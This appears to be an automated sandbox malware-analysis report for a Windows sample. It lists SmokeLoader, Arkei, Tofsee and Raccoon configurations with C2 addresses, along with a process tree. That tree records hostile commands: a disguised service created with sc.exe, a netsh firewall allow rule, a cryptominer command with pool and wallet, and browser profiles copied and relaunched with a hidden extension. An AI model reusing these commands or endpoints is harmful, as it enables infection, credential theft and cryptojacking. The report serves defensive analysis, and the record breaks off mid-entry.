Analysis

  • max time kernel
    4265100s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    17/01/2022, 03:16

General

  • Target
    e362f9a4ea0829eace566139d011c6d1d7c80d4707ff639502828c847e8e3cb7.exe
  • Size 278KB
  • Sample220117-dsty7agghq
  • SHA256 e362f9a4ea0829eace566139d011c6d1d7c80d4707ff639502828c847e8e3cb7
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • arkei

Botnet
  • Default

C2
  • http://file-file-host4.com/tratata.php

Extracted

Family
  • tofsee

C2
  • patmushta.info

  • parubey.info

Extracted

Family
  • raccoon

Version
  • 1.8.4-hotfixs

rc4.plain

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 7 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 14 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 9 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 23 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 20 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e362f9a4ea0829eace566139d011c6d1d7c80d4707ff639502828c847e8e3cb7.exe
    "C:\Users\Admin\AppData\Local\Temp\e362f9a4ea0829eace566139d011c6d1d7c80d4707ff639502828c847e8e3cb7.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3760
    • C:\Users\Admin\AppData\Local\Temp\e362f9a4ea0829eace566139d011c6d1d7c80d4707ff639502828c847e8e3cb7.exe
      "C:\Users\Admin\AppData\Local\Temp\e362f9a4ea0829eace566139d011c6d1d7c80d4707ff639502828c847e8e3cb7.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:3684
  • C:\Windows\system32\MusNotification.exe
    C:\Windows\system32\MusNotification.exe
    1⤵
    • Checks processor information in registry
    • Suspicious use of AdjustPrivilegeToken
    PID:2460
  • C:\Users\Admin\AppData\Local\Temp\F227.exe
    C:\Users\Admin\AppData\Local\Temp\F227.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:2564
  • C:\Users\Admin\AppData\Local\Temp\F749.exe
    C:\Users\Admin\AppData\Local\Temp\F749.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2836
    • C:\Users\Admin\AppData\Local\Temp\F749.exe
      C:\Users\Admin\AppData\Local\Temp\F749.exe
      2⤵
      • Executes dropped EXE
      PID:3352
  • C:\Users\Admin\AppData\Local\Temp\FCE7.exe
    C:\Users\Admin\AppData\Local\Temp\FCE7.exe
    1⤵
    • Executes dropped EXE
    PID:2740
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2740 -s 252
      2⤵
      • Program crash
      • Checks processor information in registry
      • Enumerates system info in registry
      • Suspicious use of AdjustPrivilegeToken
      PID:1628
  • C:\Users\Admin\AppData\Local\Temp\4B8.exe
    C:\Users\Admin\AppData\Local\Temp\4B8.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3616
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zcnibmx\
      2⤵
        PID:1572
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gecrjwsv.exe" C:\Windows\SysWOW64\zcnibmx\
        2⤵
          PID:3424
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zcnibmx binPath= "C:\Windows\SysWOW64\zcnibmx\gecrjwsv.exe /d\"C:\Users\Admin\AppData\Local\Temp\4B8.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2876
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description zcnibmx "wifi internet conection"
            2⤵
              PID:2728
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start zcnibmx
              2⤵
                PID:800
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2064
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3616 -s 664
                  2⤵
                  • Program crash
                  PID:3228
              • C:\Users\Admin\AppData\Local\Temp\621.exe
                C:\Users\Admin\AppData\Local\Temp\621.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:492
                • C:\Users\Admin\AppData\Local\Temp\621.exe
                  C:\Users\Admin\AppData\Local\Temp\621.exe
                  2⤵
                  • Executes dropped EXE
                  PID:3988
                • C:\Users\Admin\AppData\Local\Temp\621.exe
                  C:\Users\Admin\AppData\Local\Temp\621.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3788
              • C:\Windows\SysWOW64\zcnibmx\gecrjwsv.exe
                C:\Windows\SysWOW64\zcnibmx\gecrjwsv.exe /d"C:\Users\Admin\AppData\Local\Temp\4B8.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1140
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3300
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1912
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1140 -s 532
                  2⤵
                  • Program crash
                  PID:2252
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3616 -ip 3616
                1⤵
                  PID:1752
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1140 -ip 1140
                  1⤵
                    PID:3440
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 2740 -ip 2740
                    1⤵
                    • Suspicious use of NtCreateProcessExOtherParentProcess
                    • Suspicious use of WriteProcessMemory
                    PID:3812
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
                    1⤵
                      PID:4004
                    • C:\Users\Admin\AppData\Local\Temp\6BB2.exe
                      C:\Users\Admin\AppData\Local\Temp\6BB2.exe
                      1⤵
                      • Executes dropped EXE
                      PID:3256
                    • C:\Users\Admin\AppData\Local\Temp\7112.exe
                      C:\Users\Admin\AppData\Local\Temp\7112.exe
                      1⤵
                      • Executes dropped EXE
                      PID:3400
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 3400 -s 608
                        2⤵
                        • Program crash
                        • Checks processor information in registry
                        • Enumerates system info in registry
                        PID:1780
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:3116
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 3116 -s 880
                          2⤵
                          • Program crash
                          • Checks processor information in registry
                          • Enumerates system info in registry
                          PID:3412
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe
                        1⤵
                          PID:660
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3116 -ip 3116
                          1⤵
                          • Suspicious use of NtCreateProcessExOtherParentProcess
                          PID:2892
                        • C:\Users\Admin\AppData\Local\Temp\8575.exe
                          C:\Users\Admin\AppData\Local\Temp\8575.exe
                          1⤵
                          • Executes dropped EXE
                          PID:2620
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 2620 -s 452
                            2⤵
                            • Program crash
                            • Checks processor information in registry
                            • Enumerates system info in registry
                            PID:2112
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 2620 -s 460
                            2⤵
                            • Program crash
                            • Checks processor information in registry
                            • Enumerates system info in registry
                            PID:800
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2620 -ip 2620
                          1⤵
                          • Suspicious use of NtCreateProcessExOtherParentProcess
                          PID:3240
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 2620 -ip 2620
                          1⤵
                          • Suspicious use of NtCreateProcessExOtherParentProcess
                          PID:3920
                        • C:\Users\Admin\AppData\Local\Temp\9630.exe
                          C:\Users\Admin\AppData\Local\Temp\9630.exe
                          1⤵
                          • Executes dropped EXE
                          PID:3420
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3420 -s 452
                            2⤵
                            • Program crash
                            • Checks processor information in registry
                            • Enumerates system info in registry
                            PID:3516
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3420 -s 472
                            2⤵
                            • Program crash
                            • Checks processor information in registry
                            • Enumerates system info in registry
                            PID:380
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3420 -ip 3420
                          1⤵
                          • Suspicious use of NtCreateProcessExOtherParentProcess
                          PID:1312
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 3400 -ip 3400
                          1⤵
                          • Suspicious use of NtCreateProcessExOtherParentProcess
                          PID:2580
                        • C:\Users\Admin\AppData\Local\Temp\9C8A.exe
                          C:\Users\Admin\AppData\Local\Temp\9C8A.exe
                          1⤵
                          • Executes dropped EXE
                          • Checks computer location settings
                          • Adds Run key to start application
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of FindShellTrayWindow
                          PID:2252
                          • C:\Windows\system32\Robocopy.exe
                            "C:\Windows\system32\Robocopy.exe" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup"
                            2⤵
                              PID:3576
                            • C:\Windows\system32\Robocopy.exe
                              "C:\Windows\system32\Robocopy.exe" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Default"
                              2⤵
                                PID:984
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --silent-launch --mute-audio --load-extension="C:\Users\Admin\AppData\Roaming\Microsoft\Security\extension" --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup"
                                2⤵
                                • Enumerates system info in registry
                                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                PID:3356
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ff932084f50,0x7ff932084f60,0x7ff932084f70
                                  3⤵
                                    PID:2168
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1636 /prefetch:2
                                    3⤵
                                      PID:3876
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --service-sandbox-type=network --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=2032 /prefetch:8
                                      3⤵
                                        PID:1084
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=2292 /prefetch:8
                                        3⤵
                                          PID:1896
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3036 /prefetch:1
                                          3⤵
                                            PID:1424
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3028 /prefetch:1
                                            3⤵
                                              PID:1848
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4092 /prefetch:8
                                              3⤵
                                                PID:2864
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4728 /prefetch:8
                                                3⤵
                                                  PID:3964
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4776 /prefetch:8
                                                  3⤵
                                                    PID:4148
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4880 /prefetch:8
                                                    3⤵
                                                      PID:4184
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4228 /prefetch:8
                                                      3⤵
                                                        PID:4316
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4316 /prefetch:8
                                                        3⤵
                                                          PID:4332
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4832 /prefetch:8
                                                          3⤵
                                                            PID:4392
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=3432 /prefetch:8
                                                            3⤵
                                                              PID:4424
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4956 /prefetch:8
                                                              3⤵
                                                                PID:4432
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=5080 /prefetch:8
                                                                3⤵
                                                                  PID:4492
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=5192 /prefetch:8
                                                                  3⤵
                                                                    PID:4524
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4112 /prefetch:1
                                                                    3⤵
                                                                      PID:5032
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=796 /prefetch:1
                                                                      3⤵
                                                                        PID:3440
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5212 /prefetch:1
                                                                        3⤵
                                                                          PID:4120
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=5100 /prefetch:8
                                                                          3⤵
                                                                            PID:4428
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --service-sandbox-type=audio --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=5160 /prefetch:8
                                                                            3⤵
                                                                              PID:4332
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1680,16697176742581196323,10706580543531298543,131072 --lang=en-US --service-sandbox-type=video_capture --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=5108 /prefetch:8
                                                                              3⤵
                                                                              • Modifies registry class
                                                                              PID:4580
                                                                          • C:\Windows\system32\Robocopy.exe
                                                                            "C:\Windows\system32\Robocopy.exe" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup"
                                                                            2⤵
                                                                              PID:2836
                                                                            • C:\Windows\system32\Robocopy.exe
                                                                              "C:\Windows\system32\Robocopy.exe" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup\Default"
                                                                              2⤵
                                                                                PID:1876
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --silent-launch --mute-audio --load-extension="C:\Users\Admin\AppData\Roaming\Microsoft\Security\extension" --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup"
                                                                                2⤵
                                                                                • Enumerates system info in registry
                                                                                • Modifies registry class
                                                                                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                • Suspicious use of FindShellTrayWindow
                                                                                PID:764
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ff9284a46f8,0x7ff9284a4708,0x7ff9284a4718
                                                                                  3⤵
                                                                                    PID:4040
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,3455688577905027475,521047540180079258,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2180 /prefetch:2
                                                                                    3⤵
                                                                                      PID:3992
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2128,3455688577905027475,521047540180079258,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --mojo-platform-channel-handle=2056 /prefetch:3
                                                                                      3⤵
                                                                                        PID:2592
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2128,3455688577905027475,521047540180079258,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --mojo-platform-channel-handle=2488 /prefetch:8
                                                                                        3⤵
                                                                                          PID:1140
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
